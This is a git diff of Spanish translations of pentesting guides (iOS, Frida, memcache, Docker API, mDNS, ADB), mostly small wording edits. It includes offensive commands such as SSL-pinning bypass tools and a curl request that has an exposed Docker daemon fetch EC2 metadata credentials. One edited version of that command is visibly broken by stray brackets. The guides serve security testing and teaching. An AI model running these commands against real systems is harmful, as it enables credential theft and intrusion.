un nuevo certificado con Burp para un nombre de host diferente** y usarlo. Si la aplicación sigue funcionando, entonces, algo es vulnerable. -### Fijación de Certificados +### Fijación de Certificado Si una aplicación está utilizando correctamente la Fijación de SSL, entonces la aplicación solo funcionará si el certificado es el que se espera. Al probar una aplicación, **esto podría ser un problema ya que Burp servirá su propio certificado.**\ Para eludir esta protección en un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) @@ -1041,7 +1045,7 @@ También puedes usar **objection's** `ios sslpinning disable` ### Hot Patching/Actualización Forzada Los desarrolladores pueden **parchear todas las instalaciones de su aplicación al instante** sin tener que volver a enviar la aplicación a la App Store y esperar a que sea aprobada.\ -Para este propósito, generalmente se utiliza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Pero también hay otras opciones como [Siren](https://github.com/ArtSabintsev/Siren) y [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +Para este propósito, se suele usar [**JSPatch**](https://github.com/bang590/JSPatch)**.** Pero también hay otras opciones como [Siren](https://github.com/ArtSabintsev/Siren) y [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ **Este es un mecanismo peligroso que podría ser abusado por SDKs de terceros maliciosos, por lo tanto, se recomienda verificar qué método se utiliza para la actualización automática (si lo hay) y probarlo.** Podrías intentar descargar una versión anterior de la aplicación para este propósito. ### Terceros @@ -1058,6 +1062,7 @@ otool -L ``` ## Vulnerabilidades Interesantes y Estudios de Caso + {{#ref}} air-keyboard-remote-input-injection.md {{#endref}} @@ -1090,4 +1095,5 @@ air-keyboard-remote-input-injection.md - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index dd3e2b11b..b3b2a0b89 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -20,7 +20,7 @@ Ejecuta también **`frida-ps -Uia`** para verificar los procesos en ejecución d ## Frida sin dispositivo con Jailbreak y sin parchear la aplicación -Consulta esta publicación de blog sobre cómo usar Frida en dispositivos no jailbroken sin parchear la aplicación: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +Consulta esta publicación de blog sobre cómo usar Frida en dispositivos no jailbreak sin parchear la aplicación: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) ## Instalación del Cliente Frida @@ -290,11 +290,11 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example # You can find code coverage and crashes in examples/wg-log/out/ ``` > [!CAUTION] -> En este caso **no estamos reiniciando la aplicación ni restaurando el estado** después de cada payload. Así que, si Frida encuentra un **crash**, los **siguientes inputs** después de ese payload también podrían **hacer que la aplicación se caiga** (porque la aplicación está en un estado inestable) incluso si el **input no debería hacer que la aplicación se caiga**. +> En este caso **no estamos reiniciando la aplicación ni restaurando el estado** después de cada payload. Así que, si Frida encuentra un **crash**, los **siguientes inputs** después de ese payload también podrían **hacer que la app se caiga** (porque la app está en un estado inestable) incluso si el **input no debería hacer que la app se caiga**. > > Además, Frida se enganchará a las señales de excepción de iOS, por lo que cuando **Frida encuentra un crash**, probablemente **no se generarán informes de crash de iOS**. > -> Para prevenir esto, por ejemplo, podríamos reiniciar la aplicación después de cada crash de Frida. +> Para prevenir esto, por ejemplo, podríamos reiniciar la app después de cada crash de Frida. ### Logs & Crashes @@ -319,7 +319,7 @@ killall -9 logd Puedes verificar los fallos en: - **iOS** -- Configuración → Privacidad → Análisis y Mejoras → Datos de Análisis +- Configuración → Privacidad → Análisis y mejoras → Datos de análisis - `/private/var/mobile/Library/Logs/CrashReporter/` - **macOS**: - `/Library/Logs/DiagnosticReports/` @@ -330,6 +330,7 @@ Puedes verificar los fallos en: ## Frida Android Tutorials + {{#ref}} ../android-app-pentesting/frida-tutorial/ {{#endref}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index f8cc66c44..0479b77b4 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -15,7 +15,7 @@ Los perfiles de aprovisionamiento se almacenan dentro del teléfono en **`/Libra ## **Simulator** -> [!NOTE] +> [!TIP] > Ten en cuenta que un **simulador no es lo mismo que un emulador**. El simulador solo simula el comportamiento del dispositivo y las funciones, pero no las utiliza realmente. ### **Simulator** @@ -23,13 +23,13 @@ Los perfiles de aprovisionamiento se almacenan dentro del teléfono en **`/Libra Lo primero que necesitas saber es que **realizar un pentest dentro de un simulador será mucho más limitado que hacerlo en un dispositivo con jailbreak**. Todas las herramientas necesarias para construir y soportar una aplicación de iOS son **solo oficialmente soportadas en Mac OS**.\ -La herramienta de facto de Apple para crear/debuggear/instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** requeridas para construir y **probar** tu aplicación.\ +La herramienta de facto de Apple para crear/debugar/instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** requeridas para construir y **probar** tu aplicación.\ Se recomienda encarecidamente **descargar** Xcode desde la **tienda de aplicaciones oficial**. Otras versiones pueden contener malware. Los archivos del simulador se pueden encontrar en `/Users//Library/Developer/CoreSimulator/Devices` Para abrir el simulador, ejecuta Xcode, luego presiona en la _pestaña de Xcode_ --> _Open Developer tools_ --> _Simulator_\ -\_\_En la imagen siguiente, al hacer clic en "iPod touch \[...]" puedes seleccionar otro dispositivo para probar: +\_\_En la siguiente imagen, al hacer clic en "iPod touch \[...]" puedes seleccionar otro dispositivo para probar: ![](<../../images/image (270).png>) @@ -56,6 +56,7 @@ Corellium es el único emulador de iOS disponible públicamente. Es una solució Consulta esta publicación de blog sobre cómo hacer pentesting a una aplicación de iOS en un **dispositivo no jailbroken**: + {{#ref}} ios-pentesting-without-jailbreak.md {{#endref}} @@ -64,20 +65,20 @@ ios-pentesting-without-jailbreak.md Apple requiere estrictamente que el código que se ejecuta en el iPhone debe estar **firmado por un certificado emitido por Apple**. **Jailbreaking** es el proceso de **eludir tales restricciones** y otros controles de seguridad impuestos por el sistema operativo. Por lo tanto, una vez que el dispositivo está jailbroken, la **verificación de integridad** que es responsable de verificar las aplicaciones instaladas se parchea, por lo que es **eludida**. -> [!NOTE] +> [!TIP] > A diferencia de Android, **no puedes cambiar a "Modo Desarrollador"** en iOS para ejecutar código no firmado/no confiable en el dispositivo. ### Android Rooting vs. iOS Jailbreaking Aunque a menudo se comparan, **rooting** en Android y **jailbreaking** en iOS son procesos fundamentalmente diferentes. Rootear dispositivos Android puede implicar **instalar el binario `su`** o **reemplazar el sistema con un ROM personalizado con root**, lo que no necesariamente requiere exploits si el bootloader está desbloqueado. **Flashear ROMs personalizados** reemplaza el sistema operativo del dispositivo después de desbloquear el bootloader, a veces requiriendo un exploit. -En contraste, los dispositivos iOS no pueden flashear ROMs personalizados debido a la restricción del bootloader de solo arrancar imágenes firmadas por Apple. **Jailbreaking iOS** tiene como objetivo eludir las protecciones de firma de código de Apple para ejecutar código no firmado, un proceso complicado por las continuas mejoras de seguridad de Apple. +En contraste, los dispositivos iOS no pueden flashear ROMs personalizados debido a la restricción del bootloader para solo arrancar imágenes firmadas por Apple. **Jailbreaking iOS** tiene como objetivo eludir las protecciones de firma de código de Apple para ejecutar código no firmado, un proceso complicado por las continuas mejoras de seguridad de Apple. ### Desafíos del Jailbreaking -Jailbreaking iOS es cada vez más difícil ya que Apple parchea las vulnerabilidades rápidamente. **Downgrading iOS** solo es posible por un tiempo limitado después de un lanzamiento, lo que hace que el jailbreaking sea un asunto sensible al tiempo. Los dispositivos utilizados para pruebas de seguridad no deben actualizarse a menos que se garantice el re-jailbreaking. +Jailbreaking iOS es cada vez más difícil ya que Apple parchea vulnerabilidades rápidamente. **Downgrading iOS** solo es posible por un tiempo limitado después de un lanzamiento, lo que hace que el jailbreaking sea un asunto sensible al tiempo. Los dispositivos utilizados para pruebas de seguridad no deben actualizarse a menos que se garantice el re-jailbreaking. -Las actualizaciones de iOS están controladas por un **mecanismo de desafío-respuesta** (blobs SHSH), permitiendo la instalación solo para respuestas firmadas por Apple. Este mecanismo, conocido como "ventana de firma", limita la capacidad de almacenar y usar más tarde paquetes de firmware OTA. El [sitio web de descargas IPSW](https://ipsw.me) es un recurso para verificar las ventanas de firma actuales. +Las actualizaciones de iOS están controladas por un **mecanismo de desafío-respuesta** (SHSH blobs), permitiendo la instalación solo para respuestas firmadas por Apple. Este mecanismo, conocido como "ventana de firma", limita la capacidad de almacenar y usar más tarde paquetes de firmware OTA. El [sitio web de descargas IPSW](https://ipsw.me) es un recurso para verificar las ventanas de firma actuales. ### Variedades de Jailbreak @@ -102,6 +103,7 @@ El jailbreaking **elimina el sandboxing impuesto por el sistema operativo**, per ### **Después del Jailbreaking** + {{#ref}} basic-ios-testing-operations.md {{#endref}} diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index 0f02d4bea..f1c5ab579 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -57,9 +57,9 @@ En el ámbito de memcache, un protocolo que ayuda a organizar datos por slabs, e 1. Las claves solo se pueden volcar por clase de slab, agrupando claves de tamaño de contenido similar. 2. Existe un límite de una página por clase de slab, equivalente a 1MB de datos. -3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en [foros comunitarios](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). +3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). -La limitación de poder volcar solo 1MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre patrones de uso de claves, dependiendo de necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [sección de herramientas](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para un volcado completo. Alternativamente, el proceso de usar telnet para la interacción directa con configuraciones de memcached se describe a continuación. +La limitación de poder volcar solo 1MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre los patrones de uso de claves, dependiendo de necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [tools section](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para un volcado completo. Alternativamente, el proceso de usar telnet para la interacción directa con configuraciones de memcached se describe a continuación. ### **Cómo Funciona** @@ -79,14 +79,14 @@ set mykey 0 60 1 1 STORED ``` -Ejecutar el comando "stats slabs" después de la adición de una clave produce estadísticas detalladas sobre la utilización de los slabs: +Ejecutar el comando "stats slabs" después de la adición de la clave produce estadísticas detalladas sobre la utilización de slabs: ```bash stats slabs [...] ``` -Esta salida revela los tipos de slab activos, los bloques utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura. +Esta salida revela los tipos de slab activos, los chunks utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura. -Otro comando útil, "stats items", proporciona datos sobre desalojos, restricciones de memoria y ciclos de vida de los elementos: +Otro comando útil, "stats items", proporciona datos sobre desalojos, restricciones de memoria y ciclos de vida de los ítems: ```bash stats items [...] @@ -118,14 +118,14 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce Tabla [desde aquí](https://lzone.de/blog). -| Lenguajes de Programación | Herramientas | Funcionalidad | | | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | -| PHP | [script simple](http://snipt.org/xtP) | Imprime nombres de claves. | | | +| Lenguajes de Programación | Herramientas | Funcionalidad | | | +| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | +| PHP | [script simple](http://snipt.org/xtP) | Imprime nombres de claves. | | | | Perl | [script simple](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Imprime claves y valores | | | -| Ruby | [script simple](https://gist.github.com/1365005) | Imprime nombres de claves. | | | +| Ruby | [script simple](https://gist.github.com/1365005) | Imprime nombres de claves. | | | | Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Herramienta en el módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | -| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Interfaz gráfica de monitoreo de Memcache que también permite volcar claves | | | -| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes sortear la limitación de 1MB y realmente volcar **todas** las claves. | | | +| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI de Monitoreo de Memcache que también permite volcar claves | | | +| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes eludir la limitación de 1MB y realmente volcar **todas** las claves. | | | ## Solución de Problemas @@ -142,21 +142,22 @@ Así que si deseas usar la vida útil máxima, especifica 2592000. Ejemplo: set my_key 0 2592000 1 1 ``` -### Claves que desaparecen en desbordamiento +### Claves que desaparecen al desbordarse -A pesar de que la documentación dice algo sobre que el desbordamiento de un valor de 64 bits usando “incr” hace que el valor desaparezca. Necesita ser creado nuevamente usando “add”/”set”. +A pesar de que la documentación menciona algo sobre el desbordamiento de un valor de 64 bits usando “incr”, lo que causa que el valor desaparezca. Necesita ser creado nuevamente usando “add”/”set”. ### Replicación -memcached en sí no soporta replicación. Si realmente lo necesitas, debes usar soluciones de terceros: +memcached no soporta replicación. Si realmente lo necesitas, debes usar soluciones de terceros: - [repcached](http://repcached.lab.klab.org/): Replicación asíncrona multi-maestro (conjunto de parches de memcached 1.2) -- [Interfaz memcached de Couchbase](http://www.couchbase.com/memcached): Usa CouchBase como reemplazo de memcached +- [Couchbase memcached interface](http://www.couchbase.com/memcached): Usa CouchBase como reemplazo de memcached - [yrmcds](https://cybozu.github.io/yrmcds/): Almacenamiento de clave-valor compatible con memcached Master-Slave - [twemproxy](https://github.com/twitter/twemproxy) (también conocido como nutcracker): proxy con soporte para memcached ### Hoja de trucos de comandos + {{#ref}} memcache-commands.md {{#endref}} diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index eb3898517..0ad235ed7 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -45,6 +45,7 @@ PORT STATE SERVICE VERSION ``` **Lee la siguiente página para aprender a enumerar este servicio:** + {{#ref}} 137-138-139-pentesting-netbios.md {{#endref}} diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 09a2fec24..610aff129 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -10,7 +10,7 @@ Docker es la **plataforma de vanguardia** en la **industria de la contenedorizac #### Basic docker architecture -- [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y redes** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**. +- [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y redes** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**. - El **container-shim** juega un papel crítico como un **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados. - [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado a partir del original **libcontainer**. - [**grpc**](http://www.grpc.io) es esencial para **facilitar la comunicación** entre containerd y el **docker-engine**, asegurando una **interacción eficiente**. @@ -45,7 +45,7 @@ docker system prune -a Una decisión clave de diseño es que **Containerd no maneja la red**. La red se considera un elemento crítico en sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de red para ser gestionados por las plataformas que soporta. -Mientras **Docker utiliza Containerd** para ejecutar contenedores, es importante notar que Containerd solo soporta un subconjunto de las funcionalidades de Docker. Específicamente, Containerd carece de las capacidades de gestión de red presentes en Docker y no soporta la creación de enjambres de Docker directamente. Esta distinción resalta el papel enfocado de Containerd como un entorno de ejecución de contenedores, delegando funcionalidades más especializadas a las plataformas con las que se integra. +Mientras **Docker utiliza Containerd** para ejecutar contenedores, es importante señalar que Containerd solo soporta un subconjunto de las funcionalidades de Docker. Específicamente, Containerd carece de las capacidades de gestión de red presentes en Docker y no soporta la creación de enjambres de Docker directamente. Esta distinción resalta el papel enfocado de Containerd como un entorno de ejecución de contenedores, delegando funcionalidades más especializadas a las plataformas con las que se integra. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -75,7 +75,7 @@ Podman está diseñado para ser compatible con la API de Docker, permitiendo el El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker. -> [!NOTE] +> [!TIP] > Tenga en cuenta que, dado que podman busca soportar la misma API que docker, puede usar los mismos comandos con podman que con docker, tales como: > > ```bash @@ -87,7 +87,7 @@ El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatiza ### Información Básica -La API remota se ejecuta por defecto en el puerto 2375 cuando está habilitada. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al usar la API remota, uno puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host. +La API remota se ejecuta por defecto en el puerto 2375 cuando está habilitada. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al usar la API remota, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host. **Puerto por defecto:** 2375 ``` @@ -136,7 +136,7 @@ GitCommit: fec3683 ``` Si puedes **contactar la API remota de docker con el comando `docker`** puedes **ejecutar** cualquiera de los **comandos de docker** [**comentados previamente**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio. -> [!NOTE] +> [!TIP] > Puedes `export DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker **Escalación de privilegios rápida** @@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL -curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' +curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'] #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) @@ -226,7 +226,7 @@ docker cp :/etc/ - `./docker-bench-security.sh` - Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de docker. - `dockscan -v unix:///var/run/docker.sock` -- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor: +- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor: - `docker run --rm -it r.j3ss.co/amicontained` - `docker run --rm -it --pid host r.j3ss.co/amicontained` - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` @@ -239,7 +239,7 @@ docker cp :/etc/ #### Asegurando Dockerfiles -- Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de malas configuraciones. Cada mala configuración recibirá un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo corregir cada una de ellas. +- Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de malas configuraciones. Cada mala configuración se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo corregir cada una de ellas. - `dockerfilelinter -f Dockerfile` ![](<../images/image (176).png>) diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 6a6063316..28b18363d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -92,7 +92,7 @@ sudo bettercap -iface -eval "zerogod.discovery on" > zerogod.save 192.168.1.42 target.yml > zerogod.advertise target.yml ``` -También vea flujos de trabajo genéricos de suplantación y captura/retransmisión de credenciales de LLMNR/NBNS/mDNS/WPAD: +También vea la suplantación genérica de LLMNR/NBNS/mDNS/WPAD y flujos de trabajo de captura/retransmisión de credenciales: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -100,31 +100,31 @@ También vea flujos de trabajo genéricos de suplantación y captura/retransmisi ### Notas sobre problemas de implementación recientes (útil para DoS/persistencia durante compromisos) -- Los errores de afirmación de accesibilidad de Avahi y de bloqueo de D-Bus (2023) pueden terminar avahi-daemon en distribuciones de Linux (por ejemplo, CVE-2023-38469..38473, CVE-2023-1981), interrumpiendo el descubrimiento de servicios en los hosts objetivo hasta el reinicio. -- La DoS del gateway mDNS del controlador de LAN inalámbrica Cisco IOS XE (2024, CVE-2024-20303) permite a atacantes adyacentes provocar un alto uso de CPU y desconectar APs. Si encuentra un gateway mDNS entre VLANs, tenga en cuenta su estabilidad bajo mDNS malformado o de alta tasa. +- Los errores de afirmación de accesibilidad de Avahi y los errores de bloqueo de D-Bus (2023) pueden terminar con avahi-daemon en distribuciones de Linux (por ejemplo, CVE-2023-38469..38473, CVE-2023-1981), interrumpiendo el descubrimiento de servicios en los hosts objetivo hasta el reinicio. +- La puerta de enlace mDNS del controlador de LAN inalámbrica Cisco IOS XE DoS (2024, CVE-2024-20303) permite a atacantes adyacentes provocar un alto uso de CPU y desconectar APs. Si encuentra una puerta de enlace mDNS entre VLANs, tenga en cuenta su estabilidad bajo mDNS malformado o de alta tasa. ## Consideraciones defensivas y OPSEC -- Límites de segmento: No enrute 224.0.0.251/FF02::FB entre zonas de seguridad a menos que un gateway mDNS sea explícitamente requerido. Si debe unir el descubrimiento, prefiera listas de permitidos y límites de tasa. +- Límites de segmento: No enrute 224.0.0.251/FF02::FB entre zonas de seguridad a menos que se requiera explícitamente una puerta de enlace mDNS. Si debe unir el descubrimiento, prefiera listas de permitidos y límites de tasa. - Puntos finales/servidores de Windows: - Para deshabilitar completamente la resolución de nombres a través de mDNS, establezca el valor del registro y reinicie: ``` HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) ``` -- En entornos gestionados, desactive la regla de firewall de Windows Defender “mDNS (UDP-In)” (al menos en el perfil de Dominio) para prevenir el procesamiento de mDNS entrante mientras se preserva la funcionalidad de hogar/itinerante. -- En versiones más nuevas de Windows 11/plantillas GPO, use la política “Configuración del equipo > Plantillas administrativas > Red > Cliente DNS > Configurar el protocolo DNS multicast (mDNS)” y configúrelo en Deshabilitado. +- En entornos gestionados, desactive la regla de firewall de Windows Defender “mDNS (UDP-In)” (al menos en el perfil de Dominio) para evitar el procesamiento de mDNS entrante mientras se preserva la funcionalidad de hogar/itinerante. +- En versiones más nuevas de Windows 11/plantillas de GPO, use la política “Configuración del equipo > Plantillas administrativas > Red > Cliente DNS > Configurar el protocolo DNS multicast (mDNS)” y configúrelo en Deshabilitado. - Linux (Avahi): -- Restringa la publicación cuando no sea necesaria: establezca `disable-publishing=yes`, y restrinja interfaces con `allow-interfaces=` / `deny-interfaces=` en `/etc/avahi/avahi-daemon.conf`. +- Restringa la publicación cuando no sea necesaria: establezca `disable-publishing=yes`, y restrinja las interfaces con `allow-interfaces=` / `deny-interfaces=` en `/etc/avahi/avahi-daemon.conf`. - Considere `check-response-ttl=yes` y evite `enable-reflector=yes` a menos que sea estrictamente necesario; prefiera listas de permitidos `reflect-filters=` al reflejar. -- macOS: Restringa el mDNS entrante en firewalls de host/red cuando la búsqueda Bonjour no sea necesaria para subredes específicas. -- Monitoreo: Alerta sobre aumentos inusuales en consultas de `_services._dns-sd._udp.local` o cambios repentinos en SRV/TXT de servicios críticos; estos son indicadores de suplantación o suplantación de servicio. +- macOS: Restringa el mDNS entrante en firewalls de host/red cuando el descubrimiento Bonjour no sea necesario para subredes específicas. +- Monitoreo: Alerta sobre aumentos inusuales en consultas de `_services._dns-sd._udp.local` o cambios repentinos en SRV/TXT de servicios críticos; estos son indicadores de suplantación o suplantación de servicios. ## Referencia rápida de herramientas - nmap NSE: `dns-service-discovery` y `broadcast-dns-service-discovery`. - Pholus: escaneo activo, barridos de mDNS inversos, ayudantes de DoS y suplantación. ```bash -# Captura pasiva (segundos de tiempo de espera) +# Sniffing pasivo (segundos de tiempo de espera) sudo python3 pholus3.py -stimeout 60 # Enumerar tipos de servicio sudo python3 pholus3.py -sscan diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 38dc4dbff..a09f8068e 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,7 @@ Este puerto es utilizado por **Redshift** para funcionar. Es básicamente una va Para más información consulta: + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html {{#endref}} diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 9ee89ebd4..4129c9ad2 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -4,42 +4,143 @@ ## Información Básica -De [la documentación](https://developer.android.com/studio/command-line/adb): +De [los docs](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) es una herramienta de línea de comandos versátil que te permite comunicarte con un dispositivo. El comando adb facilita una variedad de acciones en el dispositivo, como **instalar y depurar aplicaciones**, y proporciona **acceso a un shell de Unix** que puedes usar para ejecutar una variedad de comandos en un dispositivo. +Android Debug Bridge (adb) es una herramienta de línea de comandos para comunicarse con dispositivos y emuladores basados en Android. Las acciones típicas incluyen instalar paquetes, depurar y obtener un shell Unix interactivo en el dispositivo. -**Puerto por defecto**: 5555. +- Puerto TCP predeterminado histórico: 5555 (modo clásico "adb tcpip"). +- La depuración inalámbrica moderna (Android 11+) utiliza emparejamiento TLS y descubrimiento de servicios mDNS. El puerto de conexión es dinámico y se descubre a través de mDNS; puede que no sea 5555. El emparejamiento se realiza con adb pair host:port seguido de adb connect. Consulte las notas a continuación para implicaciones ofensivas. 